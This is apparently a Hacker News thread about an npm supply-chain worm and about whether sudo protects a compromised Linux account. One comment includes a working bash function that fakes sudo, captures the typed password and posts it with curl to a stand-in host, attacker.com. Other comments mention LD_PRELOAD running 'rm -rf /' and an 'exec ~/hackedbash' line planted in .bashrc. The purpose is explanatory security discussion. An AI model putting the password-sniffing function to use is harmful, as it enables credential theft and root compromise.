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Realistically if you have installed malware, you need to do a full wipe of your computer anyway.
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It’s like if a bandaid fell into the soup pot. You could solve the problem by (A) fishing it out and giving the soup a good boil; or (B) new soup please!
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[On Linux:]

If you didn't give yourself "free" (passwordless) sudo, that's not necessary…

…unless it happened in a week with 2 and a half Linux kernel LPEs.

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Sudo is security theater.

Malware can make a fake unprivileged sudo that sniffs your password.

function sudo () {

    realsudo=$(which sudo);

    read -r -s -p "[sudo] password for $USER: " password;

    echo "$USER: $password" | \

        curl -F 'p=<-' https://attacker.com >/dev/null 2>&1;

    $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1;

    $realsudo "${@:1}";

}
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Stupid thought.

Make alias called sdo that echoes sudo path and hash every time you use it to stderr.

That's security by obscurity though.

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Use /usr/bin/sudo yourcommand with any intermediate command not using path but it's real path hard coded.

Edited: Previous suggested using \sudo but it depends of the variable path which can be modified by the attacker.

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Yeah, works well:

$ /usr/bin/sudo() { echo Not the real sudo.; }

$ /usr/bin/sudo

Not the real sudo.

And every other suggestion also doesn't work if the attacker can just replace the shell.

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/usr/bin/sudo isn't evaluated as a function under ksh.
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Yes, that would be one potential solution. But I have certainly never done it and bet >99.999% of the world's use of sudo is through 'sudo'.

Plus you only need one slip-up and you're hosed. Even people who try to almost always use '/usr/bin/sudo' will undoubtedly accidentally let a 'sudo' go through. Maybe they copy/paste a command from somewhere (after verifying that it's safe of course) and just didn't think of the sudo issue then and there.

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The real problem is that there should be at least 2 levels for sudo, one for installing software and another that really allows someone to compromise the entire system, both layers should be separate to mitigate risk. At least the most secure layer should allow you to perform secure recovering and diagnosis
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More than just two levels for sudo, the Linux permission model is completely broken for this very reason. (Also see: https://xkcd.com/1200/)

Honestly, the Android approach is significantly better. (and for that, see Micay's various ramblings posted online)

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You do not need sudo for installing software. Can just install to ~/.local.

Many package managers require sudo, sure, but there is no good reason for them to in a modern linux system, and not all require this.

Even with systemd, you can use systemd --user.

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That depends on what the software is. If you want to run a service that bonds to a privileged port for example, you need sudo.
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If you set the appropriate linux capabilities flag on a binary such as sshd at bootup then unprivileged users can bind to 22, no problem.

setcap 'cap_net_bind_service=+ep' /usr/sbin/sshd

Could even run it as a daemon unprivileged from a home directory with "systemd --user"

That said if you have multiple users and want every user to have their own sshd reachable on port 22 on the same machine you probably want to listen on vhost namespaced unix sockets and have something like haproxy listen on port 22 instead. Haproxy could of course also run unprivileged provided it has read access to all the sockets.

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For that you really only need CAP_NET_BIND_SERVICE.

The bigger issue is that if you want to install or update system-wide packages, many of those will be used by privileged processes. Suppose you want to update /bin/sh. Even if the only permission you had is to write binaries, that'll get you root.

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For most things, you can do with capabilities

Issue is that it increases friction and you need sudo anyways to set the capabilities.

Most web servers would happy to run unprivileged with only CAP_NET_BIND_SERVICE

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Unix used to have a user named "bin" just for owning all the binaries and performing installs.
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The old bin user is an idea that could be modernized with a new two level sudo concept, the higher one for recovery and diagnosis, already done in Chromebook and other solutions
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bin passwords I will always remember: At the University of Maryland CS department systems the bin password was "fuck,you", and there was a devout Christian student on staff who had a problem with that, so we had to change it (to something harder to remember, I just can't recall).
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Surely if malware has rw access to the home folder, it can adjust the env variables / shell to make this also fake.
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Ok, so the malware runs a keylogger / clipboard logger, gets the password and runs sudo on it's own. Or replaces your shell by putting exec ~/hackedbash into your bashrc

Password on sudo is only useful if you detect the infection before you run sudo

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Could link it to a yubikey via pam.d so you need a fingerpress to authenticate.
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Physical attestations are hard to solve, I think it would be nice if all TPMs in laptops had this. Then the problem becomes how do you automate stuff that needs to be done.
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And then the moment you authenticate, the fake sudo still executes its payload.

Yubikeys do not fix this issue.

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Why not make a proper link /sudo so you don't have to type out the full path every time, which is very inconvenient? (but the fact that such workarounds are needed still means it's a theater)
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A simple LD_PRELOAD command can cause your shell to run "rm -rf /" when you type "/sudo".

If your unprivileged user is compromised, you are pretty hosed.

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It should be a way to make system env vars (profile.d or simlar) as readonly so every users' shell had these set to empty values and unable to change them.
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Anything that can be modified by an attacker can not be used to secure the sudo command. This is a recursive requirementor hierarchy for secure systems.
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You can set the permissions so that the attacker can't modify it?
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To clarify, when does this run? Like you download malware A, run malware A and this function definition changes sudo for it, or sudo for other cases?
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This could for instance be injected into your .bashrc when you do an "npm install" of a package that has a deeply nested supply chain attack.

Then the next time you run sudo, phase2 triggers installing a rootkit, etc.

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Or you could also hijack it using $PATH search order with your wrapper to get existing terminal sessions too, there's a lot of ways to skin that cat.
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Endless ways, which is why I do not understand why sudo is ever used anymore, especially in production.

You do not need root to do anything in Linux these days anyway between Namespaces and Capabilities so there is really no reason for root to be accessible at all or have any processes running as root post boot.

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I dont mean to be snarky, can you run `pacman -Syu` without root with "new" tech? Or do you mean in general on production systems or whatever?
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Plenty of package managers can install to an arbitrary directory like ~/.local. Each user, or even each project, can have its own rootfs full of software.

The only things I tend to have running at the system level are a kernel and init and maybe openssh.

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That is one of many reasons to keep your dotfiles under version control.
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Someone that can wrap your sudo binary can wrap you git binary too. Once your OS is compromised all bets are off.
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How would that help? Unless you happen to check the dotfiles git diff before running _anything_. I guess this could be put in prompt or some cron job to detect diffs but I bet absolutely nobody does this.
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> Sudo is security theater.

Yes indeed.

> Malware can make a fake unprivileged sudo that sniffs your password.

Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su. So basically only root can use su and nobody else.

Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so login from tty2 ain't really an option) or by login in from another computer, using a Yubikey (no password login allowed). That other computer is on a dedicated LAN (a physical LAN, not a VLAN) that exists only for the purpose of allowing root to ssh in (yes, I do allow root to SSH in: but only with using U2F/Yubikey... I have to as it's the only real way to log in as root).

It is what it is and this being HN people are going to bitch that it's bad, insecure, inconvenient (people typically love convenience at the expense of security), etc. but I've been using basically that setup since years. When I need to really be root (which is really not often), I use a tiny laptop on my desk that serves as a poor admin's console (but over SSH and only with a Yubikey, so it'd be quite a feat to attack that).

Funnily enough last time I logged in as root (from the laptop) was to implement the workaround to blacklist all the modules for copy.fail/dirtyfrag.

That laptop doesn't even have any Wifi driver installed. No graphical interface. It's minimal. It's got a SSH client, a firewall (and so does the workstation) and that's basically it. As it's on a separate physical LAN, no other machine can see it on the network.

I did set that up just because I could. Turns out it's fully usable so I kept using it.

Now of course I've got servers, VMs, containers, etc. at home too (and on dedicated servers): that's another topic. But on my main workstation a sudo replacement function won't trick me.

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This thread was kicked off by somebody who said:

> Realistically if you have installed malware, you need to do a full wipe of your computer anyway

You might be the exception to this sentiment. But out of curiosity, after all that setup would you feel confident trying to recover from malware (rather than taking the “nuke it from orbit” approach?).

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In my case I use QubesOS so sudo is useless even if present since every security domain is isolated by hypervisor.

For servers, sudo or a package manager etc should not exist. There is no good reason for servers to run any processes as root or have any way to reach root. Servers should generally be immutable appliances.

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FYI, in English the phrase "since years" is grammatically incorrect and sounds unnatural to a native speaker's ears. The correct phrase would be "I've been using that setup for years."

/aside

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Yeah, a "seit Jahren" flashed through my mind as I read it.
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I've heard this often enough from English speakers from India that I think it is accepted grammar in that region.
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To my ears it “since years” sounds like it’s missing an “ago” after it (or like the GP said “for years” sounds even more natural).

It makes me think of another similar one: I've noticed that British English speakers will say e.g. "the new iPhone will be available from September 20th"

To my ears that sounds like it's missing an “onwards” after it (or “starting September 20th” would sound even more natural).

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Is the meaning different? I'm struggling to see how "from September 20th" would have a different implication to "starting from September 20th" (or similar) given the context.
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Why disallow password login when you have 30 char password?
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Thanks for sharing this, that seems like a very cool setup. I have a very old good-for-almost-nothing laptop that would be perfect for this, might just have to copy you!
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tell us about your disk encryption setup. and do you use secureboot?
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When you update your packages, are you using that ssh laptop?
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It would be great if

1. shells support the notion of privileged commands, that can't be overridden with PATH manipulations, aliases or functions.

2. Sudo (or PAM actually) can authenticate with your identity provider (like Entra ID) instead of a local password. Then there is nothing to sniff and you can also use 2FA or passkeys.

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Neither would actually help in this case though. Malware could manipulate both of those as an unprivileged user to run malicious code the next time you elevate privileges.

Remember that malware can replace or modify your shell

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Fish shell has builtin[1], although sudo is not one of the commands it covers.

[1] https://fishshell.com/docs/current/cmds/builtin.html

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Just sudon't.
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sudo don't acccept password from stdin. it takes a tty
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On linux realistically whatever user you installed the malicious NPM package with has access to everything you care about anyway.
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I had an idea to always run 2 users, the "main" one (or more) and a "project one"... one could sudo to the project user, but that one could not sudo out... (npm would only be installed for the project user).
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Every user, since privesc is so easy on most operating systems.
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Sure, without exploits they can steal your api keys, read your personal data, and access your browser data. With exploits they can update packages on your computer too.
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No exploits needed. A simple shell alias will suffice. See my example in sibling comment.
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Until it overrides sudo in your $PATH to install malware after you enter your password later.
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Any application running as a user with sudo access and RW permissions on the users home folder effectively has root permissions, it'll just take a little longer to get it.

That's why Flatpaks sandbox doesn't exist if the application has access to the home folder.

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There a million ways that malware can persist without root.
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You should assume other LPEs exist though
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What leads people to believe things like this?
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There numerous ways to root Linux over the decades
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It's the "nuke it from orbit" approach but "the only way to be sure".
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you're gonna need the infected device as is for forensics
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I don't understand why people were voting this comment down in the issue page
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Maybe they have a non-standard interpretation of thumbs-down – as "thumbs-down to this fact" not "thumbs-down to you for pointing it out"
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I have noticed this behaviour happening more often too, it's very confusing. Usually when texting with younger Gen Z people.
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This has always been happening
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We lived through a generation of agism at millennials and now we're turning around and doing it at Gen Z. It's unbelievable.
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When you only have eight emoji reactions to choose from, people are bound to get creative in how they use them.
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Or they're from Eridian.
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We need a new emoji for: the situation is lame and the poster is correct. Like a combination of thumbs-up+frown
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is not bad for that. Not precise, but in the ballpark.
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bots.

the GitHub bot law: the GitHub bot situation is way worse than you imagine even if you are aware of the GitHub bot law.

yes, a cheap parody on Hofstadter's law, but that's how bad it is

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There is no such thing as please be careful when revoking tokens. What does that mean? Dont revoke them? Look at them carefully before revoking them?

And what? Just let the actor just keep using them to spread to other people?

Always rotate your tokens immediately if they're compromised.

If it hurts, well, that sucks. …but seriously, not revoking the tokens just makes this worse for everyone.

A fair comment would have been: “it looks like the payload installs a dead-mans switch…”

Asking the maintainers not to revoke their compromised credentials deserves every down vote it receives.

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You seem to be interpreting "please be careful when..." as "don't". I'm not sure how that interpretation makes any sense. Obviously they just mean, first kill the service (or better yet, shutdown the machine entirely) and then revoke the token...?
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Here being careful about revocation means:

Make sure to have an up-to-date backup, that's offline, or at least not mounted on the affected computer.

Check for the dead-man switch, and if present, disarm it.

Only then revoke the tokens. Instead of immediately revoking the tokens, like one would normally do. Nobody is suggesting to keep the compromised tokens active longer than necessary.

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my understanding is that careful means cleaning up the dead-man’s switch before revoking
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Did you miss the part about the script that nukes your home folder?
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I'm not quite sure of what this really accomplishes, like is it just M.A.D.? Like at that point the creds have been stolen and the whole machine is toast.
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The point is to dissuade mass token revocations.

Let's say the attack becomes hugely succesful and the worm spreads to thousands of devices. GitHub/NPM could just revoke all compromised tokens (assuming they have a way to query) stopping the worm in its tracks. But because of the Dead Mans Switch, they'd know that in doing so, they'd be bricking thousands of their user's devices. So it effectively moves the responsibility to revoke compromised tokens from a central authority that could do it en-masse, to each individual who got compromised, greatly improving the worm's chances of survival.

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Even after the owner has realized the attack and revoked the token, there’s next steps (alerting the community, pulling from NPM) that causing havoc delays even by just a bit.
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> as a systemd user service

Hah! I know why I don't use systemd.

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> I know why I don't use systemd.

What does systemd have to do with this? They could install it in your user's crontab. Do you also not use cron?

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if so, then this is actual terrorism of the software world!!
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Only if the goal is to actually spread fear in a civilian population. It's not clear what the motivation is here besides "the worm spreads itself lol".
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that dead man's switch surely smells like that tbh
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The dead man's switch reminds me of worms and viruses from my childhood, whose primary purpose was apparently just to wreak havoc rather than direct financial gain. It's a childish gimmick.
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If an infected computer gets disabled after deactivating one stolen credential, it might slow down the victim from deactivating their other stolen credentials.
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Ugh. True.
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Incredible. Mutually assured destruction.

The next five years are going to be truly WILD in the software world.

Air-gapped systems are gonna be huge.

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Maybe just ai-gapped.
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Is that an offhanded joke on the terminology or do you actually mean something? I can't tell.
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One should always have had backups configured, but if this is what gets people to setup backups, so much the better.
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Sure. But even restoring from backup means a cost is being inflicted, and not a small one.
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